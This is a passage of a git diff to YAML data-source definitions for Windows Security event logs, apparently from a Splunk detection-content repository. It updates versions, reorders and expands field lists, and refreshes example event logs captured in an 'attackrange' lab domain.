- Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - LogonGuid - Name + - name - Opcode - ProcessID - - RecordNumber - - ServiceName - - ServiceSid - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - TicketEncryptionType - - TicketOptions - - TransmittedServices - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_id - service_name + - ServiceName + - ServiceSid + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketEncryptionType + - TicketOptions + - timestamp + - TransmittedServices - user - user_group - vendor - vendor_product + - Version output_fields: - dest -example_log: 4769001433700x8020000000000000148521Securityar-win-dc.attackrange.localAR-WIN-2$@ATTACKRANGE.LOCALATTACKRANGE.LOCALAR-WIN-2$ATTACKRANGE\AR-WIN-2$0x408100000x17::ffff:10.0.1.15591910x0{3b4ad75b-7184-6094-b975-ea3f91932ee0}- +example_log: | + 4769001433700x8020000000000000148521Securityar-win-dc.attackrange.localAR-WIN-2$@ATTACKRANGE.LOCALATTACKRANGE.LOCALAR-WIN-2$ATTACKRANGE\AR-WIN-2$0x408100000x17::ffff:10.0.1.15591910x0{3b4ad75b-7184-6094-b975-ea3f91932ee0}- diff --git a/data_sources/windows_event_log_security_4771.yml b/data_sources/windows_event_log_security_4771.yml index 3a247d6869..81f5d55976 100644 --- a/data_sources/windows_event_log_security_4771.yml +++ b/data_sources/windows_event_log_security_4771.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4771 id: 418debbb-adf3-48ec-9efd-59d45f8861e5 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs failed Kerberos pre-authentication attempts, including details about the user account, client IP, and failure reason. mitre_components: @@ -20,82 +20,79 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Name + - name - Opcode - PreAuthType - ProcessID - - RecordNumber - - ServiceName - - Source_Port - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetSid - - TargetUserName - - Target_User_Name - - Task - - ThreadID - - TicketOptions - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src - src_ip - src_nt_host - src_port + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_User_Name + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - TicketOptions + - timestamp - user - user_group - vendor - vendor_product + - Version output_fields: - dest -example_log: 4771001433900x8010000000000000391511Securitywin-dc-mvelazco-02713-392.attackrange.localALLISON_WATERSATTACKRANGE\ALLISON_WATERSkrbtgt/attackrange.local0x408100100x182::ffff:10.0.1.1564134 +example_log: | + 4771001433900x8010000000000000391509Securitywin-dc-mvelazco-02713-392.attackrange.localKARLA_MERCERATTACKRANGE\KARLA_MERCERkrbtgt/attackrange.local0x408100100x182::ffff:10.0.1.1564130 diff --git a/data_sources/windows_event_log_security_4776.yml b/data_sources/windows_event_log_security_4776.yml index af76586dde..ec8636185c 100644 --- a/data_sources/windows_event_log_security_4776.yml +++ b/data_sources/windows_event_log_security_4776.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4776 id: 1da9092a-c795-4a26-ace8-d43855524e96 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs NTLM authentication attempts, including details about the account name, authentication status, and the originating workstation. mitre_components: @@ -20,73 +20,70 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Name + - name - Opcode - PackageName - ProcessID - - RecordNumber - - Source_Workstation - - Status - - SystemTime - - System_Props_Xml - - TargetUserName - - Target_User_Name - - Task - - ThreadID - - Version - - Workstation - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - reason_id + - RecordNumber + - severity + - severity_id - signature - signature_id - source + - Source_Workstation - sourcetype - splunk_server - src - src_nt_host + - Status - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_status - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_User_Name + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - vendor - vendor_product + - Version + - Workstation output_fields: - dest -example_log: 4776001433600x8010000000000000391615Securitywin-dc-mvelazco-02713-392.attackrange.localMICROSOFT_AUTHENTICATION_PACKAGE_V1_0KSYLEFUAWIN-HOST-MVELAZ0xc0000064 +example_log: | + 4776001433600x8010000000000000391605Securitywin-dc-mvelazco-02713-392.attackrange.localMICROSOFT_AUTHENTICATION_PACKAGE_V1_0RVWSOEPHWIN-HOST-MVELAZ0xc0000064 diff --git a/data_sources/windows_event_log_security_4781.yml b/data_sources/windows_event_log_security_4781.yml index 32ee3e86b6..cb81d92eea 100644 --- a/data_sources/windows_event_log_security_4781.yml +++ b/data_sources/windows_event_log_security_4781.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4781 id: 9732ffe7-ebce-4557-865c-1725a0f633cb -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes made to the name of a computer account, including the old and new names and the user performing the action. mitre_components: @@ -20,90 +20,87 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - NewTargetUserName - - OldTargetUserName - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - Target_Domain - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - NewTargetUserName - object - object_attrs - object_category - object_id + - OldTargetUserName + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - TargetDomainName + - TargetSid + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4781001382400x8020000000000000148763Securityar-win-dc.attackrange.localAR-WIN-2$AdministratorATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x141a04- +example_log: | + 4781001382400x8020000000000000148763Securityar-win-dc.attackrange.localAR-WIN-2$AdministratorATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x141a04- diff --git a/data_sources/windows_event_log_security_4783.yml b/data_sources/windows_event_log_security_4783.yml index ed112d8efe..129597fe4a 100644 --- a/data_sources/windows_event_log_security_4783.yml +++ b/data_sources/windows_event_log_security_4783.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4783 id: 6b945150-785c-49a1-b705-56b42215630b -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4783 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4790.yml b/data_sources/windows_event_log_security_4790.yml index 4636083cdf..929de50200 100644 --- a/data_sources/windows_event_log_security_4790.yml +++ b/data_sources/windows_event_log_security_4790.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4790 id: 1cc6ecbb-af04-432b-a224-02c65243ac88 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Windows Event Log Security 4790 source: XmlWinEventLog:Security @@ -14,6 +14,177 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_Domain + - Caller_User_Name + - CallTrace + - CategoryString + - change_type + - Channel + - CommandLine + - Company + - Computer + - Configuration + - ConfigurationFileHash + - CreationUtcTime + - CurrentDirectory + - Description + - description + - dest + - dest_nt_domain + - Details + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - file_create_time + - file_name + - file_path + - FileVersion + - granted_access + - granted_access_description + - GrantedAccess + - Group_Domain + - Group_Name + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - Logon_ID + - LogonGuid + - LogonId + - MD5 + - Name + - name + - object + - object_attrs + - object_category + - object_id + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - PrivilegeList + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SamAccountName + - SchemaVersion + - SecurityID + - service + - service_name + - session_id + - severity + - severity_id + - SHA1 + - SHA256 + - SidHistory + - signature + - signature_id + - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId + - sourcetype + - splunk_server + - src + - src_nt_domain + - src_subject_user_id + - src_user + - src_user_name + - State + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - ta_windows_security_CategoryString + - tag + - tag::eventtype + - tag::object_category + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetFilename + - TargetImage + - TargetObject + - TargetProcessGUID + - TargetProcessId + - TargetSid + - TargetUserName + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timestamp + - User + - user + - user_group + - user_id + - UserID + - UtcTime + - vendor + - vendor_product + - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4794.yml b/data_sources/windows_event_log_security_4794.yml index dbe5284202..9318191466 100644 --- a/data_sources/windows_event_log_security_4794.yml +++ b/data_sources/windows_event_log_security_4794.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4794 id: ec7da74f-274a-4bde-aa0e-15c68aca0426 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs attempts to set the Directory Services Restore Mode (DSRM) administrator password, including details about the account name and the user performing the action. mitre_components: @@ -20,39 +20,16 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel + - command - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - Source_Workstation - - Status - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - Workstation - - action - - app - date_hour - date_mday - date_minute @@ -62,39 +39,121 @@ fields: - date_year - date_zone - dest + - dest_nt_domain + - Details - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid + - HandleId - host - id + - Image - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - NewValue + - NewValueType + - object + - object_attrs + - object_category + - object_file_name + - object_file_path + - object_path + - ObjectName + - ObjectValueName + - OldValue + - OldValueType + - Opcode + - OperationType + - process + - process_exec + - process_guid + - process_id + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - ProcessName - product - punct + - reason_id + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - result + - RuleName + - SecurityID - session_id + - severity + - severity_id - signature - signature_id - source + - Source_Workstation - sourcetype - splunk_server - src - src_nt_domain - src_nt_host + - src_subject_user_id - src_user + - Status - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - ta_windows_status - tag - tag::action - tag::eventtype + - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos + - timestamp - timestartpos + - user + - user_id + - user_type + - UserID + - UtcTime - vendor - vendor_product + - Version + - Workstation output_fields: - dest -example_log: 4794001382400x8020000000000000821077Securitywin-dc-root-17044-552.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x959c5[fe80::b907:7694:d740:91bb]0x0 +example_log: | + 4794001382400x8020000000000000821077Securitywin-dc-root-17044-552.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x959c5[fe80::b907:7694:d740:91bb]0x0 diff --git a/data_sources/windows_event_log_security_4798.yml b/data_sources/windows_event_log_security_4798.yml index f9c23c5c7c..a7343eccfb 100644 --- a/data_sources/windows_event_log_security_4798.yml +++ b/data_sources/windows_event_log_security_4798.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4798 id: 29e97f72-eb2e-400e-b0c9-81277547e43b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an enumeration of local group membership on a system, including details about the groups queried and the account performing the action. mitre_components: @@ -19,80 +19,90 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID - - CallerProcessId - - CallerProcessName + - app - Caller_Domain - Caller_User_Name + - CallerProcessId + - CallerProcessName + - change_type - Channel + - command - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object + - object_attrs + - object_category + - object_id - Opcode + - process_name - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server + - src - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group + - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4798001382400x8020000000000000386860Securityar-win-2.attackrange.localGuestAR-WIN-2AR-WIN-2\GuestAR-WIN-2\AdministratorAdministratorAR-WIN-20x2f4df40x1590C:\Windows\ImmersiveControlPanel\telegram\telegram.exe +example_log: | + 4798001382400x8020000000000000379429SecurityEC2AMAZ-EF4NERBAdministratorEC2AMAZ-EF4NERBS-1-5-21-507126491-1217035336-2378659554-500S-1-5-21-507126491-1217035336-2378659554-500AdministratorEC2AMAZ-EF4NERB0x8df0c0x500C:\Windows\System32\Sysprep\sysprep\telegram.exe diff --git a/data_sources/windows_event_log_security_4876.yml b/data_sources/windows_event_log_security_4876.yml index 4a93ee7e35..b43375a65a 100644 --- a/data_sources/windows_event_log_security_4876.yml +++ b/data_sources/windows_event_log_security_4876.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4876 id: 4a78722a-9cd9-44e8-b010-dffad5c7f170 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the result of a cryptographic operation, including details about the key, algorithm used, and whether the operation succeeded or failed. mitre_components: @@ -20,57 +20,51 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - BackupType - Caller_Domain - Caller_User_Name + - change_type - Channel + - command - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name + - object + - object_attrs + - object_category + - object_id - Opcode - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id - signature - signature_id - source @@ -80,14 +74,24 @@ fields: - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user - vendor - vendor_product + - Version output_fields: - dest -example_log: 4876001280500x802000000000000015379961Securitywin-dc-mhaag-attack-range-84.attackrange.local1S-1-5-21-2690122726-1172718210-436210976-500administratorATTACKRANGE0xeb075 +example_log: | + 4876001280500x802000000000000015379959Securitywin-dc-mhaag-attack-range-84.attackrange.local1S-1-5-21-2690122726-1172718210-436210976-500administratorATTACKRANGE0xeb075 diff --git a/data_sources/windows_event_log_security_4886.yml b/data_sources/windows_event_log_security_4886.yml index 29fd942c97..61de6c3754 100644 --- a/data_sources/windows_event_log_security_4886.yml +++ b/data_sources/windows_event_log_security_4886.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4886 id: c5abd97d-b468-451f-bd65-b4f97efa4ecc -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the deletion of a cryptographic key container, including details about the key container name and the user performing the action. mitre_components: @@ -20,51 +20,41 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Attributes - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - RequestId - - Requester - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name + - Opcode + - ProcessID - product - punct + - RecordNumber + - Requester + - RequestId + - severity + - severity_id - signature - signature_id - source @@ -72,14 +62,23 @@ fields: - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 4886001280500x802000000000000015379925Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator +example_log: | + 4886001280500x802000000000000015379925Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator + UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko + + ccm:win-dc-mhaag-attack-range-84.attackrange.local diff --git a/data_sources/windows_event_log_security_4887.yml b/data_sources/windows_event_log_security_4887.yml index d76820b4e0..55c7652aaf 100644 --- a/data_sources/windows_event_log_security_4887.yml +++ b/data_sources/windows_event_log_security_4887.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4887 id: 994c7b19-a623-4231-9818-f00e453b9a75 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs cryptographic operations performed by a Windows system, including details about the certificate or key used and the operation type. mitre_components: @@ -20,69 +20,68 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Attributes - Channel - Computer + - dest - Disposition + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - RequestId - - Requester - - Subject - - SubjectKeyIdentifier - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name + - Opcode + - ProcessID - product - punct + - RecordNumber + - Requester + - RequestId + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - status + - Subject - subject + - SubjectKeyIdentifier + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 4887001280500x80200000000000001830974609Securitycert_authority.attack_range.local7attack_range\attack_userCertificateTemplate:VulnerableTemplate_ESC1 +example_log: | + 4887001280500x802000000000000015379951Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator + UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko + + ccm:win-dc-mhaag-attack-range-84.attackrange.local3e6 f6 cc ab 06 b5 4e 87 7c 05 74 ea 32 d6 da 3a 81 ec 23 2dCN=Administrator, CN=Users, DC=attackrange, DC=local diff --git a/data_sources/windows_event_log_security_4946.yml b/data_sources/windows_event_log_security_4946.yml index f247ab52d0..67721a5f61 100644 --- a/data_sources/windows_event_log_security_4946.yml +++ b/data_sources/windows_event_log_security_4946.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4946 id: d7dafd01-a22d-4b05-b793-7571ef1fa789 -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4946 source: XmlWinEventLog:Security @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature @@ -30,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4946001357100x8020000000000000893174Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rule +example_log: | + 4946001357100x8020000000000000893170Securityar-win-dc.attackrange.localAll{F1F45BAC-902B-489E-A811-42D7B2BE27F9}Allow Dummy Rule diff --git a/data_sources/windows_event_log_security_4947.yml b/data_sources/windows_event_log_security_4947.yml index 6bf8d9f631..273ac10492 100644 --- a/data_sources/windows_event_log_security_4947.yml +++ b/data_sources/windows_event_log_security_4947.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4947 id: 63d4a2fa-a7dc-46d2-b702-54794e1f4d3c -version: 3 +version: 4 creation_date: '2025-03-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Teoderick Contreras, Splunk description: Data source object for Windows Event Log Security 4947 source: XmlWinEventLog:Security @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - 